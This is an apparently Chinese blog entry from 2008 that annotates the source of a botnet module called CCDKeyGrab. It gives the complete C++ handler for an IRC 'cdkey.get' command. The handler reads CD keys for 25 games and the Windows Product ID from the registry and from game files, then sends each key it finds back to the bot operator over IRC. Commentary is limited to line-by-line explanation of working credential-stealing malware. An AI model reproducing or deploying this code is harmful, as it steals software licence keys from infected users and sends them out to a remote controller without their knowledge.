十五、2008年04月09日
作者:青青子衿
email:anzijin@sina.com
1、CCDKeyGrab的作用是处理cdkey.get消息,
功能是获取被控端,下述游戏的cdkey的值
游戏列表:
(1)、Half-Life
(2)、Counter-Strike
(3)、Legends of Might and Magic
(4)、Unreal Tournament 2003
(5)、The Gladiators
(6)、Need For Speed Hot Pursuit 2
(7)、FIFA 2002
(8)、FIFA 2003
(9)、NHL 2002
(10)、NHL 2003
(11)、Nascar Racing 2002
(12)、Nascar Racing 2003
(13)、Battlefield 1942
(14)、Battlefield 1942 The Road to Rome
(15)、Battlefield 1942 Secret Weapons of WWII
(16)、Command & Conquer Generals
(17)、Project IGI 2
(18)、Red Alert
(19)、Red Alert 2
(20)、Tiberian Sun
(21)、NOX
(22)、Neverwinter Nights
(23)、Soldier of Fortune II
(24)、Chrome
(25)、Hidden and Dangerous 2
(26)、Windows Product ID
//
//
//这个类的作用应该是和获取游戏信息相关的。
//
//
class CCDKeyGrab : public CCommandHandler
{
public:
void Init();
bool HandleCommand(CMessage *pMsg);
command m_cmdGet;
};
2、Init() 函数
//
//函数功能:cdkey.get 指令的初始化,将该指令注册到指令列表中
//参数: 无
//返回值: void
//
/
void CCDKeyGrab::Init()
{
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdGet, "cdkey.get", "makes the bot get a list of cdkeys", this);
}
3、bool CCDKeyGrab::HandleCommand(CMessage *pMsg) 函数
//
//函数功能:处理cdkey.get指令,获取特定游戏的cdkey
//参数: CMessage *pMsg 接收到的消息
//返回值: bool 所有情况都返回true
//
bool CCDKeyGrab::HandleCommand(CMessage *pMsg)
{
if(!pMsg->sCmd.Compare("cdkey.get")) //处理cdkey.get指令
{
#ifdef WIN32
//分别从电脑的注册表中,读取不同游戏的cdkey
/*
Half-Life CDKey
*/
//获取半条命游戏的cdkey
HKEY hkey=NULL;
DWORD dwSize=128;
unsigned char szDataBuf[128];
LONG lRet=RegOpenKeyEx(HKEY_CURRENT_USER, "Software//Valve//Half-Life//Settings", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "Key", NULL, NULL, szDataBuf, &dwSize)==ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(),"Found Half-Life CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
Counter-Strike CDKey
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_CURRENT_USER, "Software//Valve//Counter-Strike//Settings", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "Key", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "Found Counter-Strike CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
Legends of Might and Magic
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_CURRENT_USER, "Software//3d0//Status", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "CustomerNumber", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "Found LoMaM CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
UT2003 CDKey
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Unreal Technology//Installed Apps//UT2003", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "CDKey", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{ while(true)
{
if(strstr((const char *)&szDataBuf[0], "XX22V-79HEN-BBQ46-4H7A9"))
{
break;
}
if(strstr((const char *)&szDataBuf[0], "MAMBC-G82JY-A9ZAP-89U4G"))
{
break;
}
if(strstr((const char *)&szDataBuf[0], "LYR22-RZ743-A9D7T-CNNEN"))
{
break;
}
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "Found UT2003 CDKey (%s).", szDataBuf);
break;
} //end while 似乎这里只循环了一次
}
RegCloseKey(hkey);
/*
The Gladiators
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_CURRENT_USER, "Software//Eugen Systems//The Gladiators",0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "RegNumber", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found The Gladiators CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
Need For Speed Hot Pursuit 2
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Electronic Arts//EA GAMES//Need For Speed Hot Pursuit 2//ergc", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found NFSHP2 CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
FIFA 2002
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Electronic Arts//EA Sports//FIFA 2002//ergc", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found FIFA 2002 CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
FIFA 2003
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Electronic Arts//EA Sports//FIFA 2003//ergc", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found FIFA 2003 CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
NHL 2002
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Electronic Arts//EA Sports//NHL 2002//ergc", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found NHL 2002 CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
NHL 2003
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Electronic Arts//EA Sports//NHL 2003//ergc", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found NHL 2003 CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
Nascar Racing 2002
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Electronic Arts//EA Sports//Nascar Racing 2002//ergc", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found Nascar 2002 CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
Nascar Racing 2003
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Electronic Arts//EA Sports//Nascar Racing 2003//ergc", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found Nascar 2003 CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
Battlefield 1942
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Electronic Arts//EA GAMES//Battlefield 1942//ergc", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found BF1942 CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
Battlefield 1942 The Road to Rome
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Electronic Arts//EA GAMES//Battlefield 1942 The Road to Rome//ergc", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found BF1942 RtR CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
Battlefield 1942 Secret Weapons of WWII
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Electronic Arts//EA GAMES//Battlefield 1942 Secret Weapons of WWII//ergc", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found BF1942 SWoWWII CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
Command & Conquer Generals
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Electronic Arts//EA GAMES//Generals//ergc", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found Command & Conquer Generals CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
Project IGI 2
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//IGI 2 Retail//CDKey", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "CDKey", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found Project IGI 2 CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
Red Alert
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Westwood//Red Alert", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "Serial", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found Red Alert CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
Red Alert 2
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Westwood//Red Alert 2", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "Serial", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found Red Alert 2 CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
Tiberian Sun
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Westwood//Tiberian Sun", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "Serial", NULL, NULL, szDataBuf, &dwSize)==ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found Tiberian Sun CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
NOX
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Westwood//Nox", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "Serial", NULL, NULL, szDataBuf, &dwSize)==ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found NOX CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
Neverwinter Nights CDKey
*/
char line[100]; dwSize=1024; unsigned char szDataBuf2[1024];
lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//BioWare//NWN//Neverwinter", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "Location", NULL, NULL, szDataBuf2, &dwSize)== ERROR_SUCCESS)//注册表中保存的nwncdkey.ini文件所在的路径
{
FILE *fp;
char *szPath=(char*)malloc(1060);
sprintf(szPath, "%s//%s", szDataBuf2, "nwncdkey.ini"); //获得保存cdkey的文件全路径
if((fp=fopen(szPath,"r"))!=NULL) //打开nwncdkey.ini文件
{
while(fgets(line,100,fp)) //读取第一个字符串
{
if(strstr(line, "Key1=")) //查找key1= 子字符串
{
strtok(line, "=");
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found NWN CDKey (%s).", strtok(NULL, "=")); //提取cdkey
}
}
fclose(fp); //关闭文件指针
}
if(szPath)
{
free(szPath); //释放掉申请的空间
}
}
RegCloseKey(hkey);
/*
Soldier of Fortune II
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Activision//Soldier of Fortune II - Double Helix", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "InstallPath", NULL, NULL, szDataBuf2, &dwSize)== ERROR_SUCCESS) //从注册表中获得sof2key文件的路径
{
char *szPath = (char*)malloc(MAX_PATH);
FILE *fp;
sprintf(szPath, "%s//base//mp//%s", szDataBuf2, "sof2key"); //组装sof2key文件的全路径,
if((fp=fopen(szPath,"r"))!=NULL) //打开该文件
{
if(fgets(line, 100, fp)) //读取文件内容
{
if(!strstr(line, "mtkwftmkemfew3p3b7"))//如果没有找到该子字符串,则里边包含cdkey
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found SOF2 CDKey (%s).", line);
}
}
fclose(fp);
}
if(szPath)
{
free(szPath); //释放刚才申请的空间
}
}
RegCloseKey(hkey);
/*
Chrome
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Techland//Chrome", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "SerialNumber", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found Chrome CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
Hidden and Dangerous 2
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Illusion Softworks//Hidden & Dangerous 2", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "key", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found Hidden and Dangerous 2 CDKey (%s).", szDataBuf);
}
RegCloseKey(hkey);
/*
Windows Product ID
*/
dwSize = 128;
lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software//Microsoft//Windows//CurrentVersion", 0, KEY_READ, &hkey);
if(RegQueryValueEx(hkey, "ProductId", NULL, NULL, szDataBuf, &dwSize)== ERROR_SUCCESS)
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), /
"Found Windows Product ID (%s).", szDataBuf);
}
RegCloseKey(hkey);
#endif // WIN32
}
return true;
}